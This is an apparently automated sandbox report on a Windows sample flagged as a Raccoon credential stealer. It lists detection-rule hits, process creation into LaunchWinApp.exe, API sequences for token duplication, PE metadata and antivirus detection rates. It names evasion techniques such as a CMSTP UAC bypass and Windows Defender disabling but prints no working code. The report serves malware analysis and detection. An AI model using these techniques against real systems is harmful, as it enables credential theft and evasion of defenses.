Source: 2.0.LaunchWinApp.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.3.qpwx2wT5ky.exe.45615b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 0.3.qpwx2wT5ky.exe.4615610.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 0.3.qpwx2wT5ky.exe.4615610.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.3.qpwx2wT5ky.exe.4615610.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.3.qpwx2wT5ky.exe.4615610.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 2.0.LaunchWinApp.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 0.2.qpwx2wT5ky.exe.468cf00.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 0.2.qpwx2wT5ky.exe.3170000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 0.2.qpwx2wT5ky.exe.3170000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.2.qpwx2wT5ky.exe.3170000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.2.qpwx2wT5ky.exe.3170000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 2.0.LaunchWinApp.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 2.0.LaunchWinApp.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.3.qpwx2wT5ky.exe.4615610.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 00000002.00000000.308435428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 00000002.00000000.308711684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 00000002.00000000.309062654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 00000002.00000000.308140277.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 00000000.00000002.317108118.0000000003170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 00000002.00000000.467738406.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 00000002.00000000.309415722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload
Source: 00000002.00000000.467293779.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Raccoon author = ditekSHen, description = Raccoon stealer payload

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 796

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_017720B0	0_2_017720B0
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177B548	0_2_0177B548
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_017797A8	0_2_017797A8
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177784B	0_2_0177784B
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_01775FA8	0_2_01775FA8
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177F160	0_2_0177F160
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177F120	0_2_0177F120
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177F1FC	0_2_0177F1FC
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177F1BA	0_2_0177F1BA
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177F1A2	0_2_0177F1A2
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177F0F1	0_2_0177F0F1
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177B53F	0_2_0177B53F
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177B538	0_2_0177B538
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177F512	0_2_0177F512
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177F971	0_2_0177F971
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177F939	0_2_0177F939
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_0177F9A0	0_2_0177F9A0
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA5280	0_2_06AA5280
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AAB240	0_2_06AAB240
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA5E10	0_2_06AA5E10
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA0D90	0_2_06AA0D90
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA8D48	0_2_06AA8D48
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA66A0	0_2_06AA66A0
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA6690	0_2_06AA6690
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA6648	0_2_06AA6648
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA4570	0_2_06AA4570
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA4540	0_2_06AA4540
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AAB230	0_2_06AAB230
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA5262	0_2_06AA5262
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA60CA	0_2_06AA60CA
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA60DC	0_2_06AA60DC
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AABE28	0_2_06AABE28
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA5E00	0_2_06AA5E00
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AABE18	0_2_06AABE18
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA6B1B	0_2_06AA6B1B
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA19A1	0_2_06AA19A1
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA59E8	0_2_06AA59E8
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA59F8	0_2_06AA59F8
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Code function: 0_2_06AA19D8	0_2_06AA19D8
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00424AE3	2_2_00424AE3
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0042B39F	2_2_0042B39F
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0044E1E3	2_2_0044E1E3
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0041828E	2_2_0041828E
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00410327	2_2_00410327
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0041C41C	2_2_0041C41C
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0040E6DD	2_2_0040E6DD
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0043670C	2_2_0043670C
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0045E889	2_2_0045E889
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00462915	2_2_00462915
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00416A44	2_2_00416A44
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0041EA4E	2_2_0041EA4E
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0043EB1A	2_2_0043EB1A
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0041CD2C	2_2_0041CD2C
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0041ADCA	2_2_0041ADCA
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0044AEC0	2_2_0044AEC0
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00448F57	2_2_00448F57
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0045AF13	2_2_0045AF13
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00410F9C	2_2_00410F9C
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0045B033	2_2_0045B033
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0040F186	2_2_0040F186
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0040D1A3	2_2_0040D1A3
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00429260	2_2_00429260
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_004652C6	2_2_004652C6
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0041F3F5	2_2_0041F3F5
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0043543D	2_2_0043543D
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0041D56F	2_2_0041D56F
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00411675	2_2_00411675
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00443740	2_2_00443740
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00419719	2_2_00419719
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_004378ED	2_2_004378ED
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0045D97C	2_2_0045D97C
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0041D901	2_2_0041D901
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_004219E2	2_2_004219E2
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0042DB88	2_2_0042DB88
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00437D4A	2_2_00437D4A
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0044DD54	2_2_0044DD54
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0041FDB7	2_2_0041FDB7
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_00429E5B	2_2_00429E5B
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0044DF86	2_2_0044DF86
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: 2_2_0043DF8D	2_2_0043DF8D

Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: String function: 00468510 appears 179 times
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: String function: 0044FBAF appears 80 times
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: String function: 00440CFA appears 202 times
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: String function: 00414066 appears 194 times
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Code function: String function: 004414A0 appears 58 times

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_0043FC3C: DeviceIoControl,GetLastError,

2_2_0043FC3C

Source: qpwx2wT5ky.exe	Binary or memory string: OriginalFilename vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe, 00000000.00000002.319124765.00000000043CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePphG DCj.exe2 vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe, 00000000.00000000.296234840.0000000000E23000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHospital_project.exeR vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe, 00000000.00000003.302712970.0000000004953000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePphG DCj.exe2 vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe, 00000000.00000003.301171439.0000000004615000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameZakrytyeKupla.exe< vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe, 00000000.00000002.319540650.000000000460E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePphG DCj.exe2 vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe, 00000000.00000003.301092646.000000000452D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameZakrytyeKupla.exe< vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe, 00000000.00000002.319282911.00000000044EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePphG DCj.exe2 vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe, 00000000.00000002.317907078.0000000003431000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePphG DCj.exe2 vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe, 00000000.00000002.320644906.0000000004717000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePphG DCj.exe2 vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe, 00000000.00000003.302587573.0000000004832000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePphG DCj.exe2 vs qpwx2wT5ky.exe
Source: qpwx2wT5ky.exe	Binary or memory string: OriginalFilenameHospital_project.exeR vs qpwx2wT5ky.exe

Source: qpwx2wT5ky.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: qpwx2wT5ky.exe	Virustotal: Detection: 47%
Source: qpwx2wT5ky.exe	Metadefender: Detection: 23%
Source: qpwx2wT5ky.exe	ReversingLabs: Detection: 66%

Source: qpwx2wT5ky.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\qpwx2wT5ky.exe "C:\Users\user\Desktop\qpwx2wT5ky.exe"
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process created: C:\Windows\SysWOW64\LaunchWinApp.exe C:\Windows\SysWOW64\LaunchWinApp.exe
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 796
Source: C:\Users\user\Desktop\qpwx2wT5ky.exe	Process created: C:\Windows\SysWOW64\LaunchWinApp.exe C:\Windows\SysWOW64\LaunchWinApp.exe	Jump to behavior

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\qpwx2wT5ky.exe.log

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WEREDED.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@4/7@0/4

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_0042918B CoCreateInstance,StrStrIW,CoTaskMemFree,CoTaskMemFree,

2_2_0042918B

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_00439308 __EH_prolog,CreateToolhelp32Snapshot,Process32FirstW,OpenProcess,OpenProcessToken,DuplicateTokenEx,CloseHandle,GetModuleFileNameA,_strlen,_mbstowcs,CreateProcessWithTokenW,CloseHandle,Process32NextW,

2_2_00439308

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5980
Source: C:\Windows\SysWOW64\LaunchWinApp.exe	Mutant created: \Sessions\1\BaseNamedObjects\userkO$1iC2$uM3b$M1a

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\qpwx2wT5ky.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: qpwx2wT5ky.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: qpwx2wT5ky.exe

Static file information: File size 1128960 > 1048576

Source: qpwx2wT5ky.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: qpwx2wT5ky.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x113200

Source: qpwx2wT5ky.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: qpwx2wT5ky.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ktmw32.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nsi.pdb_ source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485613034.0000000005725000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.473103575.00000000053B3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: userenv.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: iphlpapi.pdbe source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winhttp.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: gdiplus.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000010.00000003.485267458.0000000005751000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000010.00000003.485368691.0000000005722000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Kernel.Appcore.pdbf source: WerFault.exe, 00000010.00000003.485599339.0000000005720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: webio.pdb source: WerFault.exe, 00000010.00000003.485388333.0000000005728000.00000004.00000020.00020000.00000000.sdmp, WerFault.exe, 00000010.00000003.485627949.0000000005728000.00000004.00000020.00020000.00000000.sdmp
